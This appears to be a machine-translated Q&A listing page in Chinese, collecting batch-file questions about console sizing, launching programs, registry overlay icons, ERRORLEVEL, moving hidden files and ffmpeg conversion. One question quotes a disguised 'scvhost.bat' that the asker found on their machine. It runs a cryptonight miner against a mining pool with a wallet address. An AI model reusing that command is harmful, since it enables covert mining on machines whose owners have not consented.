标签: batch-file

如何打开具有给定窗口大小的控制台应用程序?

我要启动的应用程序是 MongoDB。如果我正常启动它,它看起来像这样:

在此处输入图片说明

我不喜欢换行符的数量,而且我有很多屏幕空间,所以我想利用所说的空间来摆脱换行符。

我可以用 改变控制台窗口的大小MODE,所以我写了一个这样的批处理文件:

@ECHO OFF
MODE con:cols=140 lines=70
%~dp0mongodb\bin\mongod --dbpath %~dp0data --rest
Run Code Online (Sandbox Code Playgroud)

到现在为止还挺好。当我启动这个批处理文件时,我会根据需要得到一个更大的窗口。

但是当我现在按Ctrl+C退出 MongoDB 时,我收到了烦人的提示:

Terminate batch job (Y/N)?
Run Code Online (Sandbox Code Playgroud)

这是没用的,因为我刚刚退出的命令无论如何都是批处理作业中的最后一个命令,无论我回答什么,结果都是一样的。

那么,当我点击Ctrl+时,如何在没有提示的情况下为应用程序获得更大的控制台窗口C

windows command-line batch-file

18
推荐指数
3
解决办法
3万
查看次数

通过命令行启动程序,但前提是尚未运行

我想出了下面的批处理文件,它工作得很好。但是,我想知道是否有一种方法可以对其进行编码,以便如果某个程序已经在运行,它会跳过它并启动下一个。我希望这是有道理的。任何建议将不胜感激。

@echo off    
pushd    
start "" cmd /c cscript "C:\Users\User\Desktop\Work.vbs"    
start "C:\Program Files\Microsoft Office\Office15" Outlook.exe    
start "C:\Program Files\Microsoft Office\Office15" Lync.exe    
start "C:\Program Files (x86)\Google\Chrome\Application" chrome.exe    
runas /savecred /user:"DOMAIN\User_Adm" "C:\Program Files (x86)\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe"    
runas /savecred /user:"DOMAIN\User_Adm" "mmc.exe \"My_Tools.msc\"
Run Code Online (Sandbox Code Playgroud)

windows command-line batch-file

18
推荐指数
1
解决办法
5万
查看次数

我可以阻止覆盖图标的更改吗?

背景

几个程序修改 explorere 中的图标以指示状态(“同步” TortoiseCVS 同步覆盖 等等。)

众所周知,Windows(win7、win8、win10?)只能处理有限数量的此类图标(~15),并且有几个相关问题(fe here)。

这些覆盖图标在分支的注册表中注册:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers

注册表中外壳覆盖图标的位置

实际上只使用了前几个条目(15?),其他条目被忽略。因此,让多个程序安装自己的覆盖图标可能会破坏已安装程序的行为。

要解决此问题,通常必须进入注册表并删除(或重命名)不需要的条目,直到需要的条目位于顶部。

问题

最近,我注意到几个程序在争夺这些最高职位的行为越来越“咄咄逼人”。这通常是通过使用以空格字符开头的键名来执行顶部排序来完成的。 例如,DropboxGoogleDriveSkyDriveOneDrive都在这样做。有些,比如现在的GoogleDrive甚至使用三个空格,但其他程序正在变得平等......

更糟糕的是,某些程序甚至会在任何自动“更新”(甚至更新检查或程序启动?)期间自动修复此设置。因此,任何手动调整都会定期撤消。我至少在GoogleDriveDropboxOneDrive 上注意到了这一点

有没有办法“保护”注册表免受此类自动更改的影响?

编辑(答案)

Alexey Ivanov 在下面的评论中给出了一个很好的建议,到目前为止“撤销注册表权限”已经为我抑制了这个问题。

windows-registry icons batch-file

17
推荐指数
1
解决办法
3681
查看次数

如果在执行 bat 文件期间关闭文件夹,则 CMD 窗口将不会关闭

我有一台运行异常的 Server 2012 R2 标准 64 位虚拟机。Bat 文件工作正常,CMD 窗口正常关闭;但是如果在执行 bat 文件期间关闭了包含 bat 文件的文件夹,它将完成但 CMD 窗口不会关闭。我已经将其简化为拥有最简单的 bat 文件。它包含 1 行。暂停

  1. 使用 Windows 资源管理器打开包含 bat 文件的文件夹
  2. 双击启动bat文件
  3. 关闭 Windows 资源管理器窗口
  4. 在 CMD 窗口按任意键
  5. 当 bat 文件完成时,光标移动到下一行
  6. CMD 窗口仍然存在

这仅发生在一台机器上。有人知道为什么会这样吗?这是一个测试虚拟机,也许应该重建,但它让我很好奇。谢谢

我用包含以下内容的文件替换了我的简单 bat 文件:

@assoc .bat
@for /F "tokens=1,* delims==" %%G in ('assoc .bat') do @ftype %%H
@reg query "HKLM\Software\Microsoft\Command Processor" /v AutoRun 2>NUL
@reg query "HKCU\Software\Microsoft\Command Processor" /v AutoRun 2>NUL
@wmic process where "caption = 'cmd.exe'" get CommandLine, ParentProcessId,     ProcessID
@echo please close …
Run Code Online (Sandbox Code Playgroud)

batch-file windows-server-2012

17
推荐指数
1
解决办法
1410
查看次数

这个带有cryptonight的scvhost.bat是病毒还是矿工?

我刚刚找到了这个名为 scvhost.bat 的 .bat 文件。该文件中有以下内容:

scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tQysfkX2hZDi2hkRua4GX13EqY8djJ5xNXhez7baztVWbwXa34vUMveKAzAiA4j8xgUi29TpKXpm42jqV6H.microSf -p MXXXXXX-t 02
Run Code Online (Sandbox Code Playgroud)

这是病毒(窃取信息等)还是种植矿工?我很担心,因为我也涉足加密货币,并且stratum是上述文件中提到的货币。

windows malware batch-file cryptomining

17
推荐指数
1
解决办法
3727
查看次数

将 ERRORLEVEL 设置为 0

我有一个批处理文件,它是安装程序的包装器。该批处理文件检查安装程序返回的错误级别并进行相应的打印。

我注意到,如果我set ERRORLEVEL=0在启动批处理文件(在同一命令窗口/环境中)之前在命令提示符下执行,安装程序永远不会弄乱错误级别,我的批处理脚本总是返回通过。我假设%ERRORLEVEL%是一个由 Windows 定义的变量,专门用于打印程序和脚本中的错误,并且在批处理文件或其他东西中使用该变量将“自担风险”,因为它可以随时更改另一个过程。

从表面上看,当我在给定环境中设置 errorlevel 时,它会以某种方式终止使用 errorlevel 作为退出代码的持有者。有人知道为什么是这样吗?对我来说,这只是奇怪的意外行为。任何有关该主题的信息将不胜感激!

windows command-line batch-file windows-error-reporting

16
推荐指数
4
解决办法
4万
查看次数

使用命令行或批处理文件移动隐藏文件/文件夹

有谁知道移动具有从命令行或批处理文件设置的隐藏、系统或只读属性的文件和文件夹的方法吗?(不,首先剥离属性不是一个选项,因为没有实用的方法来知道设置了哪些属性以便在移动后重新设置它们。)


(失败)尝试

  1. 使用基本move命令不适用于设置了隐藏或系统属性的项目,并且由于某种原因,它没有diranddel命令那样指定属性的开关

  2. 我尝试使用我编写的使用 shell 的文件操作功能的实用程序,但这需要使用start /w来防止批处理文件提前运行,并且由于某种原因它抱怨长文件名支持。

  3. 我尝试使用robocopy,但它首先复制文件,然后删除原始文件,而不是简单地移动源(这会导致令人沮丧的延迟,即使将过多的输出重定向到nul)。

(令人惊讶的是,似乎很少有人需要从命令行移动隐藏文件。我所能找到的就是这个放弃尝试的人。)

windows file-transfer command-line batch-file

15
推荐指数
2
解决办法
3万
查看次数

Windows - 将多个文本文件合并为一个文本文件

可能的重复:
任何用于连接多个文件的命令行或批处理 cmd?

我有超过一千个文本文件,我想将它们合并到一个文本文件中,有没有办法自动执行此操作?

windows batch-file

15
推荐指数
1
解决办法
7万
查看次数

使用 ffmpeg 批量转换 *.avi 文件

我正在尝试使用 ffmpeg 批量转换 20 多个 .avi 文件。

我有以下内容

@echo off.

for file in *.avi
do
   ffmpeg -i "$file" -s 640x480 -vcodec msmpeg4v2 "'basename "$file" .avi'.mpg';
done
Run Code Online (Sandbox Code Playgroud)

在我的 .bat 文件中,但它不起作用。我怎样才能让它在 Windows 操作系统下工作。哦,是的,所有文件都在同一个文件夹中。

我得到的错误信息:

此时文件意外

windows ffmpeg conversion batch-file

15
推荐指数
1
解决办法
5万
查看次数

将多个子文件夹中的所有文件移动到父文件夹中

我通常会打开父文件夹并搜索*以选择子文件夹中的所有文件,但在这种情况下,我需要整理超过 1,000,000 个文件,因此我的资源管理器在尝试复制这么多文件时经常崩溃通过图形用户界面。我不确定通过命令提示符或批处理文件这样做会更有效,但我想值得一试。

我需要做的是让它这样

|parent
|    |123
|    |    123abc.png
|    |456
|    |    456def.png
|    |789
|    |    789ghi.png
Run Code Online (Sandbox Code Playgroud)

变成

|parent
|    123abc.png
|    456def.png
|    789ghi.png
Run Code Online (Sandbox Code Playgroud)

是的,我的实际文件结构具有指定给文件夹名称的文件名的前 3 个字符,如果这有助于对它们进行排序的话。

windows batch-file cmd.exe

15
推荐指数
3
解决办法
7万
查看次数